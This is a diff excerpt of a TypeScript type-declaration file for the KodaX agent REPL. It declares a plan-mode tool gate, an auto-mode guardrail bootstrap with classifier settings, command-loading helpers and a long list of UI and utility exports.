+ * `isBashWriteCommand` + `collectBashWriteTargets` — read-only bash
2897
+ * (`git status`, `ls`, …) is permitted; write bash with all targets
2898
+ * in the plan-doc / temp escape is permitted; everything else
2899
+ * blocks.
2900
+ * 5. Everything else with a side effect → blocked with a generic
2901
+ * reason naming the side-effect class.
2902
+ *
2903
+ * Pre-v0.7.42 this function only gated `write`, `edit`, `undo`, `bash` —
2904
+ * a hardcoded 4-tool list that silently let `multi_edit`,
2905
+ * `insert_after_anchor`, `worktree_*`, `scaffold_*`, `stage_*`,
2906
+ * `dispatch_child_task`, `send_message`, `web_fetch`, `mcp_call` etc.
2907
+ * fall through to `return null` (permitted). The metadata-driven gate
2908
+ * closes that gap structurally — new mutating tools auto-block until
2909
+ * explicitly opted in via `planModeAllowed: true`.
2910
+ */
2911
+ declare function getPlanModeBlockReason(toolName: string, input: Record<string, unknown>, projectRoot?: string): string | null;
2912
+
2913
+ /**
2914
+ * Auto-Mode Guardrail Bootstrap — FEATURE_092 phase 2b.7b (v0.7.33).
2915
+ *
2916
+ * Builds an `AutoModeToolGuardrail` wired to the live REPL's provider
2917
+ * registry, tool registry, AGENTS.md content, and confirm-dialog askUser
2918
+ * surface. The factory returns a lazy accessor: the guardrail is constructed
2919
+ * on first call so REPLs that never enter `auto` mode pay zero cost.
2920
+ *
2921
+ * What lives in this file (vs. inline in repl.ts):
2922
+ * - The wiring is FEATURE_092-specific and can be unit-tested independently.
2923
+ * - `repl.ts` is already large; keeping the auto-mode plumbing here makes
2924
+ * it greppable and easier to evolve as later phases (settings, subagent
2925
+ * propagation, slash-command engine toggle) extend the feature surface.
2926
+ *
2927
+ * Caller responsibilities (kept minimal — REPL passes down what it owns):
2928
+ * - `getCurrentPermissionMode` is read by `askUser` so the confirm dialog
2929
+ * copy reflects the user's actual mode (the guardrail itself doesn't
2930
+ * care about permission mode beyond "we're in auto").
2931
+ * - `getCurrentProvider` / `getCurrentModel` are passed as the
2932
+ * `getDefaultProvider` / `getDefaultModel` LIVE getters on the guardrail
2933
+ * config (FEATURE_092 v0.7.34 hotfix-3). They are evaluated on every
2934
+ * classify() call, so mid-session `/model` and `/provider` swaps DO
2935
+ * retarget the classifier without the user re-entering auto mode.
2936
+ * `claudeMd` and `rules` remain captured-at-init by design (CLAUDE.md
2937
+ * and `~/.kodax/auto-rules.jsonc` mid-session edits are rare; restart
2938
+ * applies them).
2939
+ */
2940
+
2941
+ interface AutoModeBootstrapDeps {
2942
+ /**
2943
+ * Surface-specific user-confirmation callback. Readline REPL wraps
2944
+ * `confirmToolExecution(rl, ...)`; Ink REPL wraps `showConfirmDialog`.
2945
+ * Bootstrap stays surface-agnostic so the same factory can wire both
2946
+ * UIs without depending on readline.
2947
+ */
2948
+ readonly askUser: AutoModeAskUser;
2949
+ readonly projectRoot: string;
2950
+ readonly getAgentsFiles: () => AgentsFile[];
2951
+ readonly getCurrentProviderName: () => string;
2952
+ readonly getCurrentModel: () => string | undefined;
2953
+ readonly getCurrentPermissionMode: () => PermissionMode;
2954
+ /**
2955
+ * FEATURE_092 phase 2b.7b slice C: resolved settings/env block. The REPL
2956
+ * computes this once via `loadAutoModeSettings()` (in
2957
+ * `packages/repl/src/common/permission-config.ts`) and threads it here so
2958
+ * the bootstrap stays free of file-system I/O and is hermetically testable.
2959
+ */
2960
+ readonly autoModeSettings: ResolvedAutoModeBootstrapSettings;
2961
+ /**
2962
+ * Optional structured logger. Defaults to writing yellow warnings + dim
2963
+ * info lines to stderr via console (matching REPL conventions).
2964
+ */
2965
+ readonly log?: (level: 'info' | 'warn', msg: string) => void;
2966
+ /**
2967
+ * Fired whenever the guardrail's classifier engine changes — both on
2968
+ * automatic downgrades (denial threshold / circuit breaker) and on
2969
+ * manual `setEngine` calls. The REPL surfaces this into status-bar
2970
+ * state so the engine indicator stays accurate without requiring a
2971
+ * mode toggle to refresh.
2972
+ */
2973
+ readonly onEngineChange?: (engine: 'llm' | 'rules') => void;
2974
+ /**
2975
+ * FEATURE_158 (v0.7.39): additional signal collectors merged with the
2976
+ * coding-side defaults (`bashSignalCollector` + `fileSignalCollector`).
2977
+ * The REPL passes `replBashPathSignalCollector` here so bash commands
2978
+ * targeting protected paths (~/.kodax / <projectRoot>/.kodax) or
2979
+ * redirecting outside the project produce signals — the path utilities
2980
+ * live in @kodax/repl, so this is the layer-boundary-preserving
2981
+ * injection point.
2982
+ */
2983
+ readonly extraCollectors?: readonly SignalCollector[];
2984
+ }
2985
+ /**
2986
+ * Subset of `ResolvedAutoModeSettings` the bootstrap actually needs. Imported
2987
+ * via structural typing so bootstrap doesn't pull a dependency on
2988
+ * `permission-config.ts` (which would create a cycle through the REPL barrel).
2989
+ */
2990
+ interface ResolvedAutoModeBootstrapSettings {
2991
+ readonly engine: 'llm' | 'rules';
2992
+ readonly classifierModel?: string;
2993
+ readonly classifierModelEnv?: string;
2994
+ readonly timeoutMs?: number;
2995
+ }
2996
+ interface AutoModeBootstrapResult {
2997
+ /**
2998
+ * Lazy accessor — constructs the guardrail on first call. Subsequent
2999
+ * calls return the same instance so engine + tracker state is shared
3000
+ * across turns within a session.
3001
+ */
3002
+ readonly getGuardrail: () => AutoModeToolGuardrail;
3003
+ /**
3004
+ * The rules-load result from `loadAutoRules`. Surfaced so the REPL can
3005
+ * print sources/skipped/errors in the startup banner (phase 2b.8 will
3006
+ * surface this via `/auto-engine`; v1 just exposes the data).
3007
+ */
3008
+ readonly rulesLoadResult: RulesLoadResult;
3009
+ }
3010
+ /**
3011
+ * Async because `loadAutoRules` reads disk. Call once at REPL startup
3012
+ * after AGENTS.md has been loaded; the returned `getGuardrail` is sync.
20
3013
  */
21
- export * from '@kodax-ai/repl';
3014
+ declare function bootstrapAutoMode(deps: AutoModeBootstrapDeps): Promise<AutoModeBootstrapResult>;
3015
+
3016
+ declare const KODAX_COMMANDS_DIR: string;
3017
+ interface KodaXCommand {
3018
+ name: string;
3019
+ description: string;
3020
+ content: string;
3021
+ type: 'prompt' | 'programmable';
3022
+ execute?: (context: KodaXCommandContext) => Promise<string>;
3023
+ }
3024
+ interface KodaXCommandContext {
3025
+ args?: string;
3026
+ runAgent: (prompt: string) => Promise<KodaXResult>;
3027
+ }
3028
+ declare function getDefaultCommandDir(): string;
3029
+ declare function loadCommands(commandDir?: string): Promise<Map<string, KodaXCommand>>;
3030
+ declare function processCommandCall(commandName: string, args: string | undefined, commands: Map<string, KodaXCommand>, runAgent: (prompt: string) => Promise<KodaXResult>): Promise<string | null>;
3031
+ declare function parseCommandCall(input: string): [string, string?] | null;
3032
+
3033
+ export { App, AutocompleteContextProvider, BackgroundTaskBar, ConsoleCapturer, DEFAULT_UI_STATE, DialogSurface, DotsIndicator, FullscreenTranscriptLayout, HistoryItemRenderer, InputPrompt, KODAX_COMMANDS_DIR, KeyMatchers, KeypressHandlerPriority, KeypressParser, KeypressProvider, LRUCache, LoadingIndicator, MessageActions, MessageList, MessageSelector, NotificationsSurface, PendingInputsIndicator, PermissionMode, ProgressIndicator, PromptComposer, PromptFooter, PromptFooterLeftSide, PromptFooterRightSide, PromptHelpMenu, PromptSuggestionsSurface, QueuedCommandsSurface, SimpleApp, SimpleInputPrompt, SimpleMessageDisplay, SimpleStatusBar, SingleLineTextInput, Spinner, StashNotice, StatusBar, StatusNoticesSurface, StreamingProvider, StreamingState, SuggestionsDisplay, TOOL_STATUS_ICONS, TextBuffer, TextInput, ThinkingIndicator, ToolCallDisplay, ToolCallStatus, ToolGroup, ToolProgressBar, ToolStatusBadge, TranscriptViewport, UIStateProvider, _resetQueuedPromptsCacheForTests, bootstrapAutoMode, calculateVisualCursorFromLayout, calculateVisualLayout, collectBashWriteTargets, createCliEvents, createHistoryItem, createJsonEvents, createKeyMatcher, createKeypressManager, createRecoveryHistoryItem, createRetryHistoryItem, createStreamingManager, createToolCall, darkTheme, detectTerminalCapabilities, detectTerminalHostProfile, detectTerminalRenderHost, emitRecoveryHistoryItem, emitRetryHistoryItem, executeShellCommand, extractTextContent, extractTitle, formatMessagePreview, generateId, generateSavePattern, getBashOutsideProjectWriteRisk, getCharAtCodePoint, getCodePointLength, getCustomProviderConfig, getDefaultCommandDir, getKeyDisplayName, getMcpServerConfig, getPlanModeBlockReason, getTerminalHostCapabilities, getTerminalWidth, getTheme, getThemeNames, getVisualWidth, getVisualWidthCached, hasCursorUpViewportYankRisk, hasMainScreenRenderScrollRisk, isAlwaysConfirmPath, isBashReadCommand, isBashWriteCommand, isClassicReplForced, isFunctionKey, isOwnedRendererPreferred, isPathInsideProject, isPrintable, isRemoteConptyHost, isScreenReader, isShellCommand, isShellCommandSuccess, isTmuxControlMode, isToolCallAllowed, isVsCodeTerminalHostEnv, isWideChar, listCustomProviders, listMcpServers, loadCommands, minimalTheme, parseCommandCall, parseKeypress, processCommandCall, removeCustomProvider, removeMcpServer, resetTmuxControlModeProbeForTesting, resolveConfiguredTuiRendererMode, resolveEffectiveTuiRendererMode, resolveFullscreenPolicy, resolveInteractiveSurfacePreference, splitByCodePoints, supports256Colors, supportsEmoji, supportsTrueColor, supportsUnicode, themes, truncateByVisualWidth, upsertCustomProvider, upsertMcpServer, useAutocomplete, useAutocompleteContext, useInputHistory, useKeypress, useKeypressManager, useQueuedPromptContents, useQueuedPrompts, useStreaming, useStreamingActions, useStreamingState, useTextBuffer, useUI, useUIActions, useUIState, validateMcpServerConfig, visualWidthCache, withCapture, withCaptureSync };
3034
+ export type { AppHandle, AppProps, AppState, AutoModeBootstrapDeps, AutoModeBootstrapResult, BackgroundTaskBarItem, BackgroundTaskBarProps, Completer, Completion$1 as Completion, CreatableHistoryItem, CursorPosition, DialogSelectOption, DialogSurfaceConfirmState, DialogSurfaceProps, DialogSurfaceUIRequestState, DotsIndicatorProps, EffectiveTuiRendererMode, FullscreenPolicy, FullscreenTranscriptLayoutProps, HistoryEntry, HistoryItem, HistoryItemAssistant, HistoryItemBase, HistoryItemError, HistoryItemEvent, HistoryItemHint, HistoryItemInfo, HistoryItemRendererProps, HistoryItemSystem, HistoryItemThinking, HistoryItemToolGroup, HistoryItemType, HistoryItemUser, InputPromptProps, InteractiveSurfacePreference, KeyInfo, KeypressEvent, KeypressHandler, KeypressManager, KeypressProviderProps, KodaXCommand, KodaXCommandContext, LegacyMessageListProps, LoadingIndicatorProps, LoadingIndicatorType, Message, MessageActionsProps, MessageListProps, MessageSelectorProps, NotificationSurfaceItem, NotificationsSurfaceProps, PendingInputsIndicatorProps, ProgressIndicatorProps, PromptComposerProps, PromptEditingMode, PromptFooterLeftSideProps, PromptFooterProps, PromptFooterRightSideProps, PromptFooterSurfaceItem, PromptHelpMenuProps, PromptSubmitPayload, PromptSuggestionsSurfaceProps, QueuedCommandsSurfaceProps, ResolvedAutoModeBootstrapSettings, ShellExecutorConfig, SpinnerProps, StashNoticeProps, StatusBarProps, StatusNoticesSurfaceProps, StreamingActions, StreamingContextValue, StreamingManager, StreamingProviderProps, StreamingStateListener, Suggestion, SuggestionsDisplayProps, TerminalCapabilities, TerminalHostCapabilities, TerminalHostDetectionOptions, TerminalHostProfile, TerminalRenderHost, TextBufferOptions, TextInputProps, Theme, ThemeColors, ThemeSymbols, ThinkingIndicatorProps, ToolCall, ToolCallDisplayProps, ToolGroupProps, ToolProgressBarProps, ToolStatusBadgeProps, TranscriptViewportProps, TuiRendererMode, UIActions, UIState, UIStateProviderProps, UseAutocompleteOptions, UseAutocompleteReturn, UseInputHistoryOptions, UseInputHistoryReturn, UseKeypressOptions, UseTextBufferOptions, UseTextBufferReturn, VisualCursor, VisualLayout$1 as VisualLayout };